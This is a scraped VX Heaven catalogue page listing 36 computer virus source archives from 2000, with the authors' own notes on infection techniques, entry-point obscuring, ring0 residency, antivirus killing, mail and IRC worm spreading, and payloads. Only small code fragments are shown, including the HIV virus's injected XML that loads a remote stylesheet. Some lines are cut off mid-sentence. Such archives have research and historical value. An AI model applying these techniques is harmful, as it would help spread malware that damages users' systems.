

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links [Donate](#)
[Forum](#)

Search

Bookmark

8+1 0

English



Source code of computer viruses

36 found

Filename	Size	Name	Author	Date	System
aid.zip	18426	.aiD	mort	2000-00-00	Windows
Released in Matrix#2					
Author's notes					
Description					
<ul style="list-style-type: none"> this virri was written only to show some kind of IPC and EPO and wasnt fully tested -> bugs, bugs, bugs ring 3 resident, client-server based PE appender using EPO, IPCs, multithreading, registry, Huffman compresion, anti-debugger API :), payload 					
EPO					
replacing first 5 bytes with jump to virii					
IPC					
mutex, mailslot, event, file-mapping					
Behaviour					
When running first time virus install its server to three directories: current, windows, system and add entr					
When server is running it creates three threads. First creates a mailslot and wait until some client is exec					
infect. Third wait some time and them run a payload.					
When an infected file is executed after reboot (= client), it creates one thread, restores and get back i					
and itself:). Client search for files in current direcotry and send them to server via mailslot. This first client					
server.					
dammit.zip	7107	Dammit	Ultras	2000-08-11	Windows
Released in Matrix#2					
Author's notes					
Features					
<ul style="list-style-type: none"> Ring0-resident via int2E Fuck Softlce.. Kill AV VXD driver... Avoid infection of certain files. Infects on open, rename and in attribute change. Small Payload...(kill all icon on desktop) Anti-heuristics. 					
diesel.zip	3740	Diesel	paddingx	2000-00-00	Linux
Released in 29A#4					
Author's notes					
Diesel is a non-resident virus targeted at ELF executables under Linux. When executed, it will restore the					
This virus is partly based on the Staog virus by Quantum / VLAD. However, contrary to Staog, Diesel can					
the /usr directory, although it contains many executable files to infect.					
This comes from the fact that, if given root access, infecting /usr will simply make Linux crash - even the					
strace diesel &> infect.log (better run it in user mode).					
Diesel has been fully tested under Suse Linux 6.3 as root. It does not cause any segmentation fault, and					
eicar.zip	3635	EICAR	Z0mbie	2000-01-00	MS-DOS
elsa.zip	4947	Elsa	Del_Armq0	2000-08-29	Windows
Released in Matrix#2					
Author's notes					
Features					
Elsa first will drop and copie all the "needed" files, after this wild files spawning, she will modify registry a					
The first .bat use FTP.exe to DL pkzip & rar, the second .bat will use this 2 DL files to add the worm in mar					
mIRC script don't use 'on join' event, but is more Social E. The fake Netstat is just a feature for trojan luv					
newbies.					
<ul style="list-style-type: none"> *.zip & *.rar Worm Irc Worm using mIRC & Virc Netstat always showing "No Connection";) Visual payload Deep-Rooting 					
Of course u could see if u compile, that it's not totally fonctionnal, simply cos' it's fastly coded for MATR					
...again a lots to do/optimize/imagine/test for V.2.0 "SpecialSpread" :) cya soon Delly_					

[etymo-crypt.zip](#)

7389 Etymo-Crypt

[Black Jack](#)

2000-07-00

Windows

Released in Matrix#2

Author's notes

Description

When an infected file is run, the virus gets control. It gains ring0 by the standart IDT modifying trick. But it write to the write-protected kernel32 memory: it copies itself into a gap in kernel32 in memory (between the CreateFileA API.

Whenever the virus intercepts a file open now, it checks if the opened file is an infectable, uninfected a new section called ".vdata" (with standart data section attributes) and saves there the code from the file. If the file is overwritten with virus code, most of it encrypted again. The attributes of the code section are not modified when it is in ring0. The pro of this infection method is that there are no sections with unusual attributes.

Known bugs

Since the virus needs to be resident to restore control to the host, there is no need for checking the OS version, there's no way to prevent that.

Because of that unbound import stuff, the virus only catches very few file opens. In a kernel32.dll infected case this doesn't work, because the system checks this stamp after the kernel32 has been loaded and tries to start a program. Another possible solution, patching the entry point of the hooked API with the .residency method the kernel memory stays write protected. And so this virus is a slow infector, but it still works.

Assemble with

```
tasm32 /mx /m etymo.asm
tlink32 /Tpe /aa etymo.obj,,, import32.lib
```

there's no need for PEWRSEC or a similar tool, because the virus code is supposed to run in a read-only memory.

[exemplo.zip](#)

7328 Exemplo

[Z0mbie](#)

2000-10-00

Windows

Author's notes

Creates thread in the current process and while it working the virus will recursively search and infect PE files.

[glaurung2k.zip](#)

2830 Glaurung 2K

[mandragore](#)

2000-01-00

Linux

Released in 29A#4

Author's notes

This is a linux version of my other glaurung (dos) virus. For those who didn't read the glaurung-dos description, JRR Tolkien Silmarillion.

This is an example for my linux virus writing guide. You'll find all technical information in it.

[hiv.zip](#)

21861 HIV

[Benny](#)

2000-00-00

Windows

Author's notes

Finally I finished this virus... it took me more than 8 months to code it. I hope you will like it and enjoy the process.

Kernel32 searching engine

The virus can remember the last used base address of Kernel32.DLL. If the last one is not valid, it can check addresses and if valid, it can search thru address space of current process and find the library. Everything is done in ring0.

API searching mechanism

For Kernel32's APIz virus uses its own searching engine, using CRC32 instead of stringz. For APIz from other viruses.

Encryption of virus code

The virus is encrypted by simple XOR mechanism, the encryption constant is generated from the host code where the shape of virus will depend on host code checksum - something like "virus code depends on enough different victim filez to create valid pattern (for the scanner).

Direct action

The virus infects ALL PE filez (also inside MSI filez) in current directory. Infection of PE filez is done by applying the following steps:

- find a cave inside .code section
- put there viral code
- modify entrypoint

Into these PE filez not whole virus will be copied, but only a small chunk of code, which will after execution restore the virus.

The message loox like: "[Win32.HIV] by Benny/29A"

"This cell has been infected by HIV virus, generation: " + 10-char number of virus generation in decimal

EntryPoint Obscuring

Yeah, this virus also uses EPO, which means: virus doesn't modify entrypoint, it is executed "in-the-middle" and overwrites procedure's epilog by instruction. The epilog loox like:

```
pop edi      05Fh
pop esi      05Eh
pop ebx      05Bh
leave        0C9h
ret          0C3h
```

Even if the sequence couldn't be found it infects the file - this will take AVerz some time to understand

Multi-process residency

This virus is multi-process resident, which means it can become resident in ALL process in the system, not only the one it was executed in.

- find some process
- allocate memory in process and copy there virus itself
- hook FindFirstFileA, FindNextFileA, CreateFileA, CopyFileA and MoveFileA APIz
- find another process to infect and all again...

Very efficient! Imagine - you have executed WinCommander and accidentally you will execute virus. The manipulation will be caught by virus. If you will open any file under WinCommander, virus will infect it! :)

The infection runs in separated thread and execution is passed to host code, so you should not recognize it as terminated only when the infection is finished.

Per-process residency - hooking Internet

Ah, yeah, this is really tricky stuff. The virus tries to hook InternetConnectA API from WININET.DLL. If the hook is successful, it will connect to the Internet directory. And this really works! :)

SFC stuff

All Win2k compatible infectorz used SfcIsFileProtected API to check if victim files are protected by system so ALL files (even the system ones) can be infected! I would like to thank Darkman for his ideas and SFC stuff.

Mail spreading

The virus finds in registry the location of default address book file of Outlook Express, gets 5 mail addresses and sends them to the default address book.

HTML infection (XML stuff)

Here I would like to thank Rajaat for his XSL idea (see XML stuff in 29A4). The algorithm of HTML infection is as follows:

- virus will disable showing extensions of HTML files by adding "NeverShowExt" item to file properties
- then create exactly same icon for XML files as HTML files have (now in explorer XML files should look like HTML files)
- find all .HTML files in current directory
- delete them and create new files with the same name and .HTML.XML extension
- write there XML code:

```
<?xml version="1.0"?>
<?xml:stylesheet type="text/xsl" href="http://coderz.net/benny/viruses/press.txt"?>
<i>This cell has been infected by HIV virus, generation: XXXXXXXXXX</i>
```

press.txt is XSL - XML stylesheet, which is loaded together with XML file and can be placed anywhere on the hard disk - in fact, it is, but it uses template, which is infected. I love this stuff....:-)

NTFS stuff

The virus compresses infected files placed on NTFS, so the infected files are usually smaller than the clean files. The virus uses file streamz on NTFS. Every infected file on NTFS will have new stream ":HIV" containing the virus generation in decimal format.

All of this does not work with MSI files.

Anti-*

Yeah, the virus uses some anti-* features, against debuggerz (check "debug_stuff" procedure), heuristics (check "heuristic" procedure), etc. The virus code is 16384 bytes, about 6,5 kb of virus code, the rest is data from the end of host - if you will open the file and it will be infected.

Other features

The virus doesn't check extensions of victim files, it just opens the file and checks the internal format, if the file is needed, so there should not be any problem with infection of some files under WinNT/2k.

Known bugz

Here I would like to thank Perikles and Paddingx for beta-testing Win32.HIV. I tried to fix all possible bugs.

 hllexmpl.zip	8442	Pascal HLL virus example	Z0mbie	2000-00-00	MS-DOS
 hooy.zip	38085	Hooy	Z0mbie	2000-03-00	Windows

Author's notes

simple pe infector. creates own thread from each infected program; this thread will scan hds and infect files.

 idele.zip	11401	Idele 1.9	Dr.L	2000-12-00	Windows
Released in 29A#5					

Author's notes

This is a per-process encrypted virus. It uses a new EPO (*) technic (as far I know), nothing is modified in the original file.

The virus works fine on Win9x/Win nt4 platforms, but don't work on Win 2k platform.

I can't be held as responsible for use/misuse of this program. This program was only designed for research

(Is fire guns dealers can be held also as responsible for the death of a young guy somewhere in the wc

infinite.zip	9829	Infinite	Billy Belcebu	2000-07-17	Windows
--	------	----------	---------------	------------	---------

Author's notes

Introduction

Welcome to Infinite. This virus has been very rare for me, as its ambient of development was very odd. difficult than it really was... I sincerely doubt that it would work in WinNT family (NT4,W2K), as i haven't been and my soundcard), but i didn't wanted to change that thing of Win32. If it doesn't, i don't care... Blah. Forever and this babe. I hope i haven't lost my awesome code style (blah, just kidding... i don't have a clue). I realized that the cavity technique is stable most of the times, but it's not perfect, and i should do much more. don't care: Windows also has fails in its code and noone reminds it :) It's not a special virus in any field, I

Features

- Cavity virus, searches for holes of zeroes or INT 3.
- Infect files on current, WINDOWS and WINDOWS/SYSTEM directories.
- Simple & silly 8-byte XOR encryption loop
- Kinda simple EPO with emulator protection
- Checks for SFC protection (if it works in Win2k...)
- CRC32 usage (APIs, extensions...)
- It's intended to be optimized (not too much, but enough)

ismiddle.zip	1038	ISMiddle?	Ding Lik	2000-02-01	MS-DOS
--	------	-----------	----------	------------	--------

Released in Shadow Dancer#1

 kalamarai.zip	8288	Kalamarai Kalamarai	2000-06-00	Windows
---	------	---------------------	------------	---------

Released in Matrix#2

 lotek.zip	2611	LoTek	Wintermute	2000-10-00	Linux
--	------	-------	------------	------------	-------

Released in 29A#5

Author's notes

LoTek is an ELF cavity infector which hides itself in the ".note" section in order to replicate without changing the file's metadata.

It's a runtime virus that replicates by using memory file mapping syscalls (mmap), copying itself to this .comment, less easy to infect cuz of that), changing data segment permissions in order to make it executable, changing the file's compatibility/etc of the file, and is almost always never used.

Payload is chaging machine hostname one of each thirty-two executions (reading the processor tsc).

I just wanna remark this is a "test" virus, just trying an infection on Linux; it was writed in order to show an I made about Linux viruses and their risks (to silence those "Linux-never-can-get-infected" people).

PD: So, you can imagine where the name "LoTek" came from :)

ls.zip 5885 LS mort 2000-00-00 Windows

Released in Matrix#2

Author's notes

Description

- this virri was written only to show some kind of IPC and EPO and wasnt fully tested -> bugs, bugs, bugs
- infect only PE files in current directory,...lamie forever :))
- EPO
 - fucking TASM and MASM import call convention
 - trying to find 5 import calls and if seems save, place call to virri
- IPC
 - via file mapping and using mutex to synchronize threads of more infected processes

Behaviour

When running infected host it will map file and create thread. Then restore and get back to host. Thread infect such files. This procedure is in mutual exclusion, coz using same buffer for file search structure. In current directory it closes the thread.

 matrix817.zip	3025	Matrix.817	Lord Dark	2000-00-00	Windows
---	------	------------	-----------	------------	---------

Released in Matrix#2

Author's notes

- dont change file size
- small virus
- fast
- not detect by AV
- use CRC32 for find API's

- change 1 & 2 sec. at end

[merlin.zip](#)
[mutt.zip](#)

16821 Merlin
 11798 Mutt 1.1

[Lord Dark](#)
[Ultras](#)

2000-08-09
 2000-07-17

MS-DOS
 Windows

Released in Matrix#2

Author's notes

Features

- Infect PE files in current, Windows, and System dirs.
- Anti-Debugging features (DebugBreak & IsDebuggerPresent).
- Anti-Emulation features
- IRC worm virus: mIRC, PIRCH scripts.
- Removes many AV CRC & base files.
- Kill AV monitorz

Payload will remove the disk from the my computer using the registry & small message box - at 15 ev

[ordy.zip](#)

30650 Ordy

[mort](#)

2000-00-00

Windows

Released in Matrix#2

Author's notes

- simple direct action current dir last section PE appender
- using ordinal API values to access API

Well, in viriis there's mostly use some stuff to find APIs no matter of kernel32.dll type,... I use APIs' ordinal

When i searched for this values in different versions of widows, i found they differ, so i included all ord

I cant test thiss virii on all windoze versions. This one seems to be good under win2k, anyway if u wanna

[oroichi.zip](#)

32062 Orochi

[Henky](#)

2000-03-00

Windows

Released in Matrix#1

Author's notes

```
-AUTHOR:      HenKy H010kaust [MATRiX]
-MAIL:        HenKy@latinmail.com
-ORIGIN:      SPAIN (MARCH 2000)
-TARGET:      PE EXE/SCR & HTM FILES LAST SECTION INCREASE ...
-OS'S:        W32 COMPATABLE W95/98 NT4/5 & 2000 (NOT TESTED IN THE LAST OS'ES)
-MULTIPARTITE YES (PE->HTM)
-RESIDENT:    YES (RING0)
-STEALTH:     NO
-THREADS:     NO (DUH?)
-FIBERS;      NO (..)
-KERNEL SEARCH: YES
-ENCRYPTED:    YES (VERY ENCRYPTED: POLY + two RDA layers )
-POLYMORPHIC: YES ... LAME SLOW-POLY LAYER ... TO TIRED ... :DDDDDDDD
-ANTIDBUGGER: YES (HYPER-ANTI-DEBUG)
-ANTITRACE:    YES
-ANTIEMULATOR: YES (HYPER-ANTI-EMUL)
-ANTIDISASM:   YES
-ANTIHEURISTIC: YES
-ANTIBAIT:     YES
-ERROR HANLING: YES (SEH)
-RETRO:       YES (BYE, BYE AV'S)
-COMPRESSION: NO (FUCKED LZ ALGORITHM :/)
-EPO:         NO
-ANTIWATCHDOGS: YES (AVPM,AMON & NAV)
-CHECKSUM:    NO (IN THE NEXT VERSION I WILL MEMORY-MAP THE FILES ;)
-OTHERS:      IS A VERY UNSTABLE VIRUS, IT WONT INFECT NTOSKRNL.EXE IN NT AND NOT HAVE A BIG CHA
-PAYLOAD:     THE 3 OF JULY IN DISPLAY A MESSAGE-BOX, THEN MAKE A GRAPH EFFECT (HI LJ'S)
```

[sabia.zip](#)

157870 Sabia

[Matrix](#)

2000-00-00

Windows

Released in Matrix#2

Author's notes

Features

- no register to find our address in memory
- no work if some AV in memory
- GOAT files can't be infected so easily
- date/time/attributes preserved
- infection mark in file size (101 method)
- PE file infector (.OCX, .DLL, .EXE, .SCR)
- email spread (infecting WSOCK32)
- plugin download (using a redirector, if our URL take down)
 - virus in .ZIP files
 - PIRCH trojan
 - FTP server
 - send us a sugestion :)

DEBUG = TRUE










Only GOAT*. * files are infected, and the virus don't will install the worms into the system, just copy it to ti user if it is infected or not.

DEBUG = FALSE

All type of PE files can be infected, the virus will install the 2 WORMS into the computer, and infect files




WORM names:

- \WINDOWS\IE_PACK.EXE
- \WINDOWS\MTX_.EXE
- \WINDOWS\WIN32.DLL (traveling in the email)

 segax.zip	24666	Segax	Ultras	2000-00-00	Windows
Released in Matrix#1					
Author's notes					
My first Ring3 virus.. The standard virus for win95/98 infects files in current dir... Puts a label "DEAD" in the beginning virmaker for Win32....					
 tlb.zip	8414	TLB	Stealthf0rk	2000-02-00	Linux
Released in 29A#4					
 vampiro.zip	22661	Vampiro	Lord Dark	2000-00-00	Windows
Released in Matrix#2					
Author's notes					
<ul style="list-style-type: none"> • poly, used LME32 v.1.0 • many layers, max - 11 • used SEH • dont change entry point 					
 w9x-tiny.zip	54185	w9x-tiny (242-132)	Z0mbie	2000-00-00	Windows
 yildiz.zip	4331	Yildiz	Black Jack	2000-09-20	Windows
Released in Coderz#1					
Author's comments					
Win9x direct acting/global ring3 resident PE header cavity virus, size 323 bytes (but of course infected 1					
When an infected file is run, the virus takes control. It then tries to find the kernel32 base address by a si haven't tested it with the second one). After that it gets the undocumented Win9X API VxDCall0 and u know which API is first in WinNT, that's why unpredictable results may occur when the virus runs in that C (read more about this a bit later), and infects all PE EXE files in the current directory by overwriting the l consist in infecting kernel32.dll in memory. To do so, it creates a temporary file called "Yildiz." and writes finally the content of the infected temp file is read back into kernel32 memory. Yep, you have read rig (This trick was discovered by Murkry/lkX, read more about it in the comments to his Darkside virus sourc just like any other file, this means the entry point is set to the virus, no APIs are hooked. As you should kn by a program. And since kernel32 is imported by all programs, this means for us that whenever a progr infect all PE EXE files in the directory of the program.					
 z0mbie4d.zip	15456	Z0MBiE-4.d (Zom)	Z0mbie	2000-04-00	Windows
Author's notes					
<ul style="list-style-type: none"> • PE infector (poly, last section appending) • jmp-to-virus inserted into entryptoint + N bytes • ring0-resident via LDT+SEH, LDT scanning • standard on-IFS-call file infecting • kill AV VxDs when entered ring-0 (avp/web) • file shares are patched, so opened and/or readonly files are infected too 					
engines used: LDE32, KILLAVXD					
 z0mbie5.zip	99717	Z0mbie-5 (Bistro)	Z0mbie	2000-10-00	Windows
 z0mbie6a.zip	41833	Z0MBiE-6.a (ZPerm)	Z0mbie	2000-06-00	Windows
Author'snotes					
win9X permutating virus - RPME usage example based on Z0MBiE-5					
<ul style="list-style-type: none"> • creates thread which will scan files while current process is running • recursive scan files in %windir%, %path% and then all hds • pe-exe infection by appending to last section 					
 z0mbie6b.zip	48699	Z0MBiE-6.b	Z0mbie	2000-07-00	Windows
Author's notes					
win9X polymorphic(MACHO)+permutating(RPME) virus based on RPME.Z0MBiE-6.a					
<ul style="list-style-type: none"> • creates thread which will scan files while current process is running • recursive scan files in %windir%, %path% and then all hds • pe-exe infection by appending to last section • win9X only: enter ring0 via SetThreadContext & kill AV VxDs 					

2015/9/1

Source code of computer viruses (VX heaven)

 z0mbie7.zip	27100	Z0MBiE-7 (ZPerm)	Z0mbie	2000-06-00	Windows
<div>Author's notes</div> <div>win9X permutating virus: PLY-alike algorithm based on Z0MBiE-6.a</div> <ul style="list-style-type: none"> creates thread which will scan files while current process is running recursive scan files in %windir%, %path% and then all hds pe-exe infection by appending to last section 					
 z0mbie8.zip	15695	Z0MBiE-8 (Damm)	Z0mbie	2000-07-00	Windows
 zelda.zip	6608	Zelda 1.1	Ultras	2000-07-28	Windows
<div>Released in Matrix#2</div> <div>Author's notes</div> <div>Features</div> <ul style="list-style-type: none"> DOC features <ul style="list-style-type: none"> Scan all FIXED disk and search mIRC folderz (wow GetDriveTypeA use !!! ultras u crazy) Using 15 Windows API sends their own copys through MAPI(Outlook) Random mail message Create PE dropper Create infected Zip file heh two graphic kewl payload...(inverz & black winter) using Windows directory PE features <ul style="list-style-type: none"> Create infected Zip file... (tnx T2000) 					
 zipworm.zip	3780	ZipWorm	Vecna	2000-00-00	Linux
Released in 29A#5					

Short Info

Page size 100 Set

Search

Filename

Any

Author

Year

2000

System

Any

Type

Any

Language

Any

Apply filters

By accessing, viewing, downloading or otherwise using this content you agree to be bound by the [Terms of Use](#)! vxheaven.org aka vx.netlux.org